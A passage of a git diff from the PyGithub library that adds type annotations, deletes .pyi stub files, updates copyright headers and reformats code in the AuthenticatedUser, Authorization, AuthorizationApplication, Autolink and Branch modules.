:class:`github.PaginatedList.PaginatedList` of :class:`github.Migration.Migration` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Migration.Migration, self._requester, "/user/migrations", @@ -1369,60 +1061,16 @@ def get_migrations(self): headers={"Accept": Consts.mediaTypeMigrationPreview}, ) - def get_organization_membership(self, org): + def get_organization_membership(self, org: str) -> Membership: """ :calls: `GET /user/memberships/orgs/{org} `_ - :rtype: :class:`github.Membership.Membership` """ assert isinstance(org, str) - headers, data = self._requester.requestJsonAndCheck( - "GET", f"/user/memberships/orgs/{org}" - ) - return github.Membership.Membership( - self._requester, headers, data, completed=True - ) + org = urllib.parse.quote(org) + headers, data = self._requester.requestJsonAndCheck("GET", f"/user/memberships/orgs/{org}") + return github.Membership.Membership(self._requester, headers, data, completed=True) - def _initAttributes(self): - self._avatar_url = github.GithubObject.NotSet - self._bio = github.GithubObject.NotSet - self._blog = github.GithubObject.NotSet - self._collaborators = github.GithubObject.NotSet - self._company = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._disk_usage = github.GithubObject.NotSet - self._email = github.GithubObject.NotSet - self._events_url = github.GithubObject.NotSet - self._followers = github.GithubObject.NotSet - self._followers_url = github.GithubObject.NotSet - self._following = github.GithubObject.NotSet - self._following_url = github.GithubObject.NotSet - self._gists_url = github.GithubObject.NotSet - self._gravatar_id = github.GithubObject.NotSet - self._hireable = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._location = github.GithubObject.NotSet - self._login = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._organizations_url = github.GithubObject.NotSet - self._owned_private_repos = github.GithubObject.NotSet - self._plan = github.GithubObject.NotSet - self._private_gists = github.GithubObject.NotSet - self._public_gists = github.GithubObject.NotSet - self._public_repos = github.GithubObject.NotSet - self._received_events_url = github.GithubObject.NotSet - self._repos_url = github.GithubObject.NotSet - self._site_admin = github.GithubObject.NotSet - self._starred_url = github.GithubObject.NotSet - self._subscriptions_url = github.GithubObject.NotSet - self._total_private_repos = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._two_factor_authentication = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "avatar_url" in attributes: # pragma no branch self._avatar_url = self._makeStringAttribute(attributes["avatar_url"]) if "bio" in attributes: # pragma no branch @@ -1468,13 +1116,9 @@ def _useAttributes(self, attributes): if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "organizations_url" in attributes: # pragma no branch - self._organizations_url = self._makeStringAttribute( - attributes["organizations_url"] - ) + self._organizations_url = self._makeStringAttribute(attributes["organizations_url"]) if "owned_private_repos" in attributes: # pragma no branch - self._owned_private_repos = self._makeIntAttribute( - attributes["owned_private_repos"] - ) + self._owned_private_repos = self._makeIntAttribute(attributes["owned_private_repos"]) if "plan" in attributes: # pragma no branch self._plan = self._makeClassAttribute(github.Plan.Plan, attributes["plan"]) if "private_gists" in attributes: # pragma no branch @@ -1484,9 +1128,7 @@ def _useAttributes(self, attributes): if "public_repos" in attributes: # pragma no branch self._public_repos = self._makeIntAttribute(attributes["public_repos"]) if "received_events_url" in attributes: # pragma no branch - self._received_events_url = self._makeStringAttribute( - attributes["received_events_url"] - ) + self._received_events_url = self._makeStringAttribute(attributes["received_events_url"]) if "repos_url" in attributes: # pragma no branch self._repos_url = self._makeStringAttribute(attributes["repos_url"]) if "site_admin" in attributes: # pragma no branch @@ -1494,13 +1136,9 @@ def _useAttributes(self, attributes): if "starred_url" in attributes: # pragma no branch self._starred_url = self._makeStringAttribute(attributes["starred_url"]) if "subscriptions_url" in attributes: # pragma no branch - self._subscriptions_url = self._makeStringAttribute( - attributes["subscriptions_url"] - ) + self._subscriptions_url = self._makeStringAttribute(attributes["subscriptions_url"]) if "total_private_repos" in attributes: # pragma no branch - self._total_private_repos = self._makeIntAttribute( - attributes["total_private_repos"] - ) + self._total_private_repos = self._makeIntAttribute(attributes["total_private_repos"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "updated_at" in attributes: # pragma no branch @@ -1508,6 +1146,4 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "two_factor_authentication" in attributes: - self._two_factor_authentication = self._makeBoolAttribute( - attributes["two_factor_authentication"] - ) + self._two_factor_authentication = self._makeBoolAttribute(attributes["two_factor_authentication"]) diff --git a/github/AuthenticatedUser.pyi b/github/AuthenticatedUser.pyi deleted file mode 100644 index 412b502acc..0000000000 --- a/github/AuthenticatedUser.pyi +++ /dev/null @@ -1,231 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional, Union, NamedTuple, Tuple - -from github.Authorization import Authorization -from github.Event import Event -from github.Gist import Gist -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.InputFileContent import InputFileContent -from github.Invitation import Invitation -from github.Issue import Issue -from github.Label import Label -from github.Membership import Membership -from github.Migration import Migration -from github.NamedUser import NamedUser -from github.Notification import Notification -from github.Organization import Organization -from github.PaginatedList import PaginatedList -from github.Plan import Plan -from github.Repository import Repository -from github.Team import Team -from github.UserKey import UserKey - -class EmailData(NamedTuple): - email: str - primary: bool - verified: bool - visibility: str - -class AuthenticatedUser(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def accept_invitation(self, invitation: Union[int, Invitation]) -> None: ... - def add_to_emails(self, *emails: List[str]) -> None: ... - def add_to_following(self, following: NamedUser) -> None: ... - def add_to_starred(self, starred: Repository) -> None: ... - def add_to_subscriptions(self, subscription: Repository) -> None: ... - def add_to_watched(self, watched: Repository) -> None: ... - @property - def avatar_url(self) -> str: ... - @property - def bio(self) -> str: ... - @property - def blog(self) -> str: ... - @property - def collaborators(self) -> int: ... - @property - def company(self) -> str: ... - def create_authorization( - self, - scopes: Union[List[str], _NotSetType] = ..., - note: Union[str, _NotSetType] = ..., - note_url: Union[str, _NotSetType] = ..., - client_id: Union[str, _NotSetType] = ..., - client_secret: Union[str, _NotSetType] = ..., - onetime_password: Union[str, None] = ..., - ) -> Authorization: ... - def create_fork(self, repo: Repository) -> Repository: ... - def create_gist( - self, - public: bool, - files: Dict[str, InputFileContent], - description: Union[str, _NotSetType] = ..., - ) -> Gist: ... - def create_key(self, title: str, key: str) -> UserKey: ... - def create_migration( - self, - repos: List[str], - lock_repositories: Union[bool, _NotSetType] = ..., - exclude_attachments: Union[bool, _NotSetType] = ..., - ) -> Migration: ... - def create_repo( - self, - name: str, - description: Union[str, _NotSetType] = ..., - homepage: Union[str, _NotSetType] = ..., - private: Union[bool, _NotSetType] = ..., - has_issues: Union[bool, _NotSetType] = ..., - has_wiki: Union[bool, _NotSetType] = ..., - has_downloads: Union[bool, _NotSetType] = ..., - has_projects: Union[bool, _NotSetType] = ..., - auto_init: Union[bool, _NotSetType] = ..., - license_template: _NotSetType = ..., - gitignore_template: Union[str, _NotSetType] = ..., - allow_squash_merge: Union[bool, _NotSetType] = ..., - allow_merge_commit: Union[bool, _NotSetType] = ..., - allow_rebase_merge: Union[bool, _NotSetType] = ..., - delete_branch_on_merge: Union[bool, _NotSetType] = ..., - ) -> Repository: ... - @property - def created_at(self) -> datetime: ... - @property - def disk_usage(self) -> int: ... - def edit( - self, - name: Union[str, _NotSetType] = ..., - email: Union[str, _NotSetType] = ..., - blog: Union[str, _NotSetType] = ..., - company: Union[str, _NotSetType] = ..., - location: Union[str, _NotSetType] = ..., - hireable: Union[bool, _NotSetType] = ..., - bio: Union[str, _NotSetType] = ..., - ) -> None: ... - @property - def email(self) -> str: ... - @property - def events_url(self) -> str: ... - @property - def followers(self) -> int: ... - @property - def followers_url(self) -> str: ... - @property - def following(self) -> int: ... - @property - def following_url(self) -> str: ... - def get_authorization(self, id: int) -> Authorization: ... - def get_authorizations(self) -> PaginatedList[Authorization]: ... - def get_emails(self) -> List[EmailData]: ... - def get_events(self) -> PaginatedList[Event]: ... - def get_followers(self) -> PaginatedList[NamedUser]: ... - def get_following(self) -> PaginatedList[NamedUser]: ... - def get_gists( - self, since: Union[datetime, _NotSetType] = ... - ) -> PaginatedList[Gist]: ... - def get_invitations(self) -> PaginatedList[Invitation]: ... - def get_issues( - self, - filter: Union[str, _NotSetType] = ..., - state: Union[str, _NotSetType] = ..., - labels: Union[List[Label], _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - ) -> PaginatedList[Issue]: ... - def get_key(self, id: int) -> UserKey: ... - def get_keys(self) -> PaginatedList[UserKey]: ... - def get_migrations(self) -> PaginatedList[Migration]: ... - def get_notification(self, id: str) -> Notification: ... - def get_notifications( - self, - all: Union[bool, _NotSetType] = ..., - participating: Union[bool, _NotSetType] = ..., - since: Union[datetime, _NotSetType] = ..., - before: Union[datetime, _NotSetType] = ..., - ) -> PaginatedList[Notification]: ... - def get_organization_events(self, org: Organization) -> PaginatedList[Event]: ... - def get_organization_membership(self, org: int) -> Membership: ... - def get_orgs(self) -> PaginatedList[Organization]: ... - def get_repo(self, name: str) -> Repository: ... - def get_repos( - self, - visibility: Union[str, _NotSetType] = ..., - affiliation: Union[str, _NotSetType] = ..., - type: Union[str, _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - ) -> PaginatedList[Repository]: ... - def get_starred(self) -> PaginatedList[Repository]: ... - def get_starred_gists(self) -> PaginatedList[Gist]: ... - def get_subscriptions(self) -> PaginatedList[Repository]: ... - def get_teams(self) -> PaginatedList[Team]: ... - def get_user_issues( - self, - filter: Union[str, _NotSetType] = ..., - state: Union[str, _NotSetType] = ..., - labels: Union[List[Label], _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - ) -> PaginatedList[Issue]: ... - def get_watched(self) -> PaginatedList[Repository]: ... - @property - def gists_url(self) -> str: ... - @property - def gravatar_id(self) -> str: ... - def has_in_following(self, following: NamedUser) -> bool: ... - def has_in_starred(self, starred: Repository) -> bool: ... - def has_in_subscriptions(self, subscription: Repository) -> bool: ... - def has_in_watched(self, watched: Repository) -> bool: ... - @property - def hireable(self) -> bool: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def location(self) -> str: ... - @property - def login(self) -> str: ... - def mark_notifications_as_read(self, last_read_at: datetime = ...) -> None: ... - @property - def name(self) -> str: ... - @property - def node_id(self) -> str: ... - @property - def organizations_url(self) -> str: ... - @property - def owned_private_repos(self) -> int: ... - @property - def plan(self) -> Plan: ... - @property - def private_gists(self) -> int: ... - @property - def public_gists(self) -> int: ... - @property - def public_repos(self) -> int: ... - @property - def received_events_url(self) -> str: ... - def remove_from_emails(self, *emails: str) -> None: ... - def remove_from_following(self, following: NamedUser) -> None: ... - def remove_from_starred(self, starred: Repository) -> None: ... - def remove_from_subscriptions(self, subscription: Repository) -> None: ... - def remove_from_watched(self, watched: Repository) -> None: ... - @property - def repos_url(self) -> str: ... - @property - def site_admin(self) -> bool: ... - @property - def starred_url(self) -> str: ... - @property - def subscriptions_url(self) -> str: ... - @property - def total_private_repos(self) -> int: ... - @property - def type(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def two_factor_authentication(self) -> bool: ... diff --git a/github/Authorization.py b/github/Authorization.py index b495d4b324..77038f124d 100644 --- a/github/Authorization.py +++ b/github/Authorization.py @@ -9,6 +9,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,8 +35,17 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.AuthorizationApplication import github.GithubObject +from github.GithubObject import Attribute, NotSet, Opt, _NotSetType + +if TYPE_CHECKING: + from github.AuthorizationApplication import AuthorizationApplication class Authorization(github.GithubObject.CompletableGithubObject): @@ -37,19 +53,27 @@ class Authorization(github.GithubObject.CompletableGithubObject): This class represents Authorizations. The reference can be found here https://docs.github.com/en/enterprise-server@3.0/rest/reference/oauth-authorizations """ - def __repr__(self): + def _initAttributes(self) -> None: + self._app: Attribute[AuthorizationApplication] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._id: Attribute[int] = NotSet + self._note: Attribute[str | None] = NotSet + self._note_url: Attribute[str | None] = NotSet + self._scopes: Attribute[str] = NotSet + self._token: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"scopes": self._scopes.value}) @property - def app(self): - """ - :type: :class:`github.AuthorizationApplication.AuthorizationApplication` - """ + def app(self) -> AuthorizationApplication: self._completeIfNotSet(self._app) return self._app.value @property - def created_at(self): + def created_at(self) -> datetime: """ :type: datetime.datetime """ @@ -57,76 +81,54 @@ def created_at(self): return self._created_at.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def note(self): - """ - :type: string - """ + def note(self) -> str | None: self._completeIfNotSet(self._note) return self._note.value @property - def note_url(self): - """ - :type: string - """ + def note_url(self) -> str | None: self._completeIfNotSet(self._note_url) return self._note_url.value @property - def scopes(self): - """ - :type: list of string - """ + def scopes(self) -> str: self._completeIfNotSet(self._scopes) return self._scopes.value @property - def token(self): - """ - :type: string - """ + def token(self) -> str: self._completeIfNotSet(self._token) return self._token.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /authorizations/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, - scopes=github.GithubObject.NotSet, - add_scopes=github.GithubObject.NotSet, - remove_scopes=github.GithubObject.NotSet, - note=github.GithubObject.NotSet, - note_url=github.GithubObject.NotSet, - ): + scopes: Opt[list[str]] = NotSet, + add_scopes: Opt[list[str]] = NotSet, + remove_scopes: Opt[list[str]] = NotSet, + note: Opt[str] = NotSet, + note_url: Opt[str] = NotSet, + ) -> None: """ :calls: `PATCH /authorizations/{id} `_ :param scopes: list of string @@ -136,47 +138,30 @@ def edit( :param note_url: string :rtype: None """ - assert scopes is github.GithubObject.NotSet or all( - isinstance(element, str) for element in scopes - ), scopes - assert add_scopes is github.GithubObject.NotSet or all( + assert isinstance(scopes, _NotSetType) or all(isinstance(element, str) for element in scopes), scopes + assert isinstance(add_scopes, _NotSetType) or all( isinstance(element, str) for element in add_scopes ), add_scopes - assert remove_scopes is github.GithubObject.NotSet or all( + assert isinstance(remove_scopes, _NotSetType) or all( isinstance(element, str) for element in remove_scopes ), remove_scopes - assert note is github.GithubObject.NotSet or isinstance(note, str), note - assert note_url is github.GithubObject.NotSet or isinstance( - note_url, str - ), note_url - post_parameters = dict() - if scopes is not github.GithubObject.NotSet: - post_parameters["scopes"] = scopes - if add_scopes is not github.GithubObject.NotSet: - post_parameters["add_scopes"] = add_scopes - if remove_scopes is not github.GithubObject.NotSet: - post_parameters["remove_scopes"] = remove_scopes - if note is not github.GithubObject.NotSet: - post_parameters["note"] = note - if note_url is not github.GithubObject.NotSet: - post_parameters["note_url"] = note_url - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters + assert isinstance(note, (_NotSetType, str)), note + assert isinstance(note_url, (_NotSetType, str)), note_url + + post_parameters = NotSet.remove_unset_items( + { + "scopes": scopes, + "add_scopes": add_scopes, + "remove_scopes": remove_scopes, + "note": note, + "note_url": note_url, + } ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def _initAttributes(self): - self._app = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._note = github.GithubObject.NotSet - self._note_url = github.GithubObject.NotSet - self._scopes = github.GithubObject.NotSet - self._token = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "app" in attributes: # pragma no branch self._app = self._makeClassAttribute( github.AuthorizationApplication.AuthorizationApplication, diff --git a/github/Authorization.pyi b/github/Authorization.pyi deleted file mode 100644 index 059485ce87..0000000000 --- a/github/Authorization.pyi +++ /dev/null @@ -1,37 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional, Union - -from github.AuthorizationApplication import AuthorizationApplication -from github.GithubObject import CompletableGithubObject, _NotSetType - -class Authorization(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def app(self) -> AuthorizationApplication: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - def edit( - self, - scopes: Union[_NotSetType, List[str]] = ..., - add_scopes: Union[_NotSetType, List[str]] = ..., - remove_scopes: Union[_NotSetType, List[str]] = ..., - note: Union[_NotSetType, str] = ..., - note_url: Union[_NotSetType, str] = ..., - ) -> None: ... - @property - def id(self) -> int: ... - @property - def note(self) -> Optional[str]: ... - @property - def note_url(self) -> Optional[str]: ... - @property - def scopes(self) -> List[str]: ... - @property - def token(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/AuthorizationApplication.py b/github/AuthorizationApplication.py index 38dd650943..cc241fc401 100644 --- a/github/AuthorizationApplication.py +++ b/github/AuthorizationApplication.py @@ -9,6 +9,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,38 +33,34 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class AuthorizationApplication(github.GithubObject.CompletableGithubObject): + +class AuthorizationApplication(CompletableGithubObject): """ This class represents AuthorizationApplications """ - def __repr__(self): + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def _initAttributes(self): - self._name = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "url" in attributes: # pragma no branch diff --git a/github/AuthorizationApplication.pyi b/github/AuthorizationApplication.pyi deleted file mode 100644 index f45379026b..0000000000 --- a/github/AuthorizationApplication.pyi +++ /dev/null @@ -1,11 +0,0 @@ -from typing import Dict - -from github.GithubObject import CompletableGithubObject - -class AuthorizationApplication(CompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, str]) -> None: ... - @property - def name(self) -> str: ... - @property - def url(self) -> str: ... diff --git a/github/Autolink.py b/github/Autolink.py index 3188128c2d..7a349d70e8 100644 --- a/github/Autolink.py +++ b/github/Autolink.py @@ -1,6 +1,22 @@ ############################ Copyrights and license ############################ # # -# Copyright 2021 Marco Köpcke # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Marco Köpcke # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,43 +36,48 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Autolink(github.GithubObject.NonCompletableGithubObject): - def __repr__(self): + +class Autolink(NonCompletableGithubObject): + """ + This class represents Repository autolinks. + The reference can be found here https://docs.github.com/en/rest/repos/autolinks?apiVersion=2022-11-28 + """ + + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._key_prefix: Attribute[str] = NotSet + self._url_template: Attribute[str] = NotSet + self._is_alphanumeric: Attribute[bool] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: return self._id.value @property - def key_prefix(self): - """ - :type: string - """ + def key_prefix(self) -> str: return self._key_prefix.value @property - def url_template(self): - """ - :type: string - """ + def url_template(self) -> str: return self._url_template.value - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._key_prefix = github.GithubObject.NotSet - self._url_template = github.GithubObject.NotSet + @property + def is_alphanumeric(self) -> bool: + return self._is_alphanumeric.value - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "key_prefix" in attributes: # pragma no branch self._key_prefix = self._makeStringAttribute(attributes["key_prefix"]) if "url_template" in attributes: # pragma no branch self._url_template = self._makeStringAttribute(attributes["url_template"]) + if "is_alphanumeric" in attributes: # pragma no branch + self._is_alphanumeric = self._makeBoolAttribute(attributes["is_alphanumeric"]) diff --git a/github/Autolink.pyi b/github/Autolink.pyi deleted file mode 100644 index 3541da984d..0000000000 --- a/github/Autolink.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from typing import Any, Dict, List - -from github.GithubObject import NonCompletableGithubObject - -class Autolink(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def id(self) -> int: ... - @property - def key_prefix(self) -> str: ... - @property - def url_template(self) -> str: ... diff --git a/github/Branch.py b/github/Branch.py index 4000704cd7..3cce512ec6 100644 --- a/github/Branch.py +++ b/github/Branch.py @@ -9,9 +9,24 @@ # Copyright 2015 Kyle Hornberg # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # +# Copyright 2018 Alice GIRARD # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Juan Manuel "Kang" Pérez # +# Copyright 2023 Kevin Grandjean # +# Copyright 2023 Paul Luna # +# Copyright 2023 Thomas Devoogdt # +# Copyright 2023 Trim21 # +# Copyright 2023 terenho <33275803+terenho@users.noreply.github.com> # +# Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -31,6 +46,10 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.BranchProtection import github.CheckRun import github.CheckSuite @@ -39,75 +58,76 @@ import github.PaginatedList import github.RequiredPullRequestReviews import github.RequiredStatusChecks - -from . import Consts - - -class Branch(github.GithubObject.NonCompletableGithubObject): +from github import Consts +from github.GithubObject import ( + Attribute, + NonCompletableGithubObject, + NotSet, + Opt, + is_defined, + is_optional, + is_optional_list, + is_undefined, +) + +if TYPE_CHECKING: + from github.BranchProtection import BranchProtection + from github.CheckRun import CheckRun + from github.CheckSuite import CheckSuite + from github.Commit import Commit + from github.NamedUser import NamedUser + from github.PaginatedList import PaginatedList + from github.RequiredPullRequestReviews import RequiredPullRequestReviews + from github.RequiredStatusChecks import RequiredStatusChecks + from github.Team import Team + + +class Branch(NonCompletableGithubObject): """ This class represents Branches. The reference can be found here https://docs.github.com/en/rest/reference/repos#branches """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def commit(self): - """ - :type: :class:`github.Commit.Commit` - """ + def commit(self) -> Commit: return self._commit.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value @property - def protected(self): - """ - :type: bool - """ + def protected(self) -> bool: return self._protected.value @property - def protection_url(self): - """ - :type: string - """ + def protection_url(self) -> str: return self._protection_url.value @property - def commit_branch_url(self): - """ - :type: string - """ + def commit_branch_url(self) -> str: # github doesn't return the commit/{branch} api :shrug: return self.commit.url.replace(self.commit.sha, self.name) - def _initAttributes(self): - self._commit = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._protection_url = github.GithubObject.NotSet - self._protected = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._commit: Attribute[Commit] = github.GithubObject.NotSet + self._name: Attribute[str] = github.GithubObject.NotSet + self._protection_url: Attribute[str] = github.GithubObject.NotSet + self._protected: Attribute[bool] = github.GithubObject.NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "commit" in attributes: # pragma no branch - self._commit = self._makeClassAttribute( - github.Commit.Commit, attributes["commit"] - ) + self._commit = self._makeClassAttribute(github.Commit.Commit, attributes["commit"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "protection_url" in attributes: # pragma no branch - self._protection_url = self._makeStringAttribute( - attributes["protection_url"] - ) + self._protection_url = self._makeStringAttribute(attributes["protection_url"]) if "protected" in attributes: # pragma no branch self._protected = self._makeBoolAttribute(attributes["protected"]) - def get_protection(self): + def get_protection(self) -> BranchProtection: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection `_ """ @@ -116,72 +136,66 @@ def get_protection(self): self.protection_url, headers={"Accept": Consts.mediaTypeRequireMultipleApprovingReviews}, ) - return github.BranchProtection.BranchProtection( - self._requester, headers, data, completed=True - ) + return github.BranchProtection.BranchProtection(self._requester, headers, data, completed=True) def edit_protection( self, - strict=github.GithubObject.NotSet, - contexts=github.GithubObject.NotSet, - enforce_admins=github.GithubObject.NotSet, - dismissal_users=github.GithubObject.NotSet, - dismissal_teams=github.GithubObject.NotSet, - dismiss_stale_reviews=github.GithubObject.NotSet, - require_code_owner_reviews=github.GithubObject.NotSet, - required_approving_review_count=github.GithubObject.NotSet, - user_push_restrictions=github.GithubObject.NotSet, - team_push_restrictions=github.GithubObject.NotSet, - ): + strict: Opt[bool] = NotSet, + contexts: Opt[list[str]] = NotSet, + enforce_admins: Opt[bool] = NotSet, + dismissal_users: Opt[list[str]] = NotSet, + dismissal_teams: Opt[list[str]] = NotSet, + dismissal_apps: Opt[list[str]] = NotSet, + dismiss_stale_reviews: Opt[bool] = NotSet, + require_code_owner_reviews: Opt[bool] = NotSet, + required_approving_review_count: Opt[int] = NotSet, + user_push_restrictions: Opt[list[str]] = NotSet, + team_push_restrictions: Opt[list[str]] = NotSet, + app_push_restrictions: Opt[list[str]] = NotSet, + required_linear_history: Opt[bool] = NotSet, + allow_force_pushes: Opt[bool] = NotSet, + required_conversation_resolution: Opt[bool] = NotSet, + lock_branch: Opt[bool] = NotSet, + allow_fork_syncing: Opt[bool] = NotSet, + users_bypass_pull_request_allowances: Opt[list[str]] = NotSet, + teams_bypass_pull_request_allowances: Opt[list[str]] = NotSet, + apps_bypass_pull_request_allowances: Opt[list[str]] = NotSet, + block_creations: Opt[bool] = NotSet, + require_last_push_approval: Opt[bool] = NotSet, + allow_deletions: Opt[bool] = NotSet, + ) -> BranchProtection: """ :calls: `PUT /repos/{owner}/{repo}/branches/{branch}/protection `_ - :strict: bool - :contexts: list of strings - :enforce_admins: bool - :dismissal_users: list of strings - :dismissal_teams: list of strings - :dismiss_stale_reviews: bool - :require_code_owner_reviews: bool - :required_approving_review_count: int - :user_push_restrictions: list of strings - :team_push_restrictions: list of strings NOTE: The GitHub API groups strict and contexts together, both must be submitted. Take care to pass both as arguments even if only one is changing. Use edit_required_status_checks() to avoid this. """ - assert strict is github.GithubObject.NotSet or isinstance(strict, bool), strict - assert contexts is github.GithubObject.NotSet or all( - isinstance(element, str) for element in contexts - ), contexts - assert enforce_admins is github.GithubObject.NotSet or isinstance( - enforce_admins, bool - ), enforce_admins - assert dismissal_users is github.GithubObject.NotSet or all( - isinstance(element, str) for element in dismissal_users - ), dismissal_users - assert dismissal_teams is github.GithubObject.NotSet or all( - isinstance(element, str) for element in dismissal_teams - ), dismissal_teams - assert dismiss_stale_reviews is github.GithubObject.NotSet or isinstance( - dismiss_stale_reviews, bool - ), dismiss_stale_reviews - assert 